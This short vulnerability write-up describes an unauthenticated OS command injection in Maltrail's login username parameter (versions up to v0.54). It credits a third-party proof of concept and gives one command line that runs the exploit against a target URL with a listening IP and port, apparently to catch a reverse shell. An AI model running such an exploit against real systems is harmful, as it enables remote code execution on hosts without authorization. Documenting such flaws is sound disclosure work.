Summery

Maltrail is vulnerable to unauthenticated OS command injection during the login process.

The subprocess.check_output function in mailtrail/core/http.py contains a command injection vulnerability in the params.get("username")parameter.

An attacker can exploit this vulnerability by injecting arbitrary OS commands into the username parameter. The injected commands will be executed with the privileges of the running process. This vulnerability can be exploited remotely without authentication.

Affected versions:
Maltrail <= v0.54

Exploitation

PoC by spookier

  1. python3 exploit.py 10.10.15.101 1337 http://10.129.89.111:55555/knmjtv - Define the listening IP, listening port and the target IP
    Might need to be run a few times to work properly.

References

Good article
PoC by spookier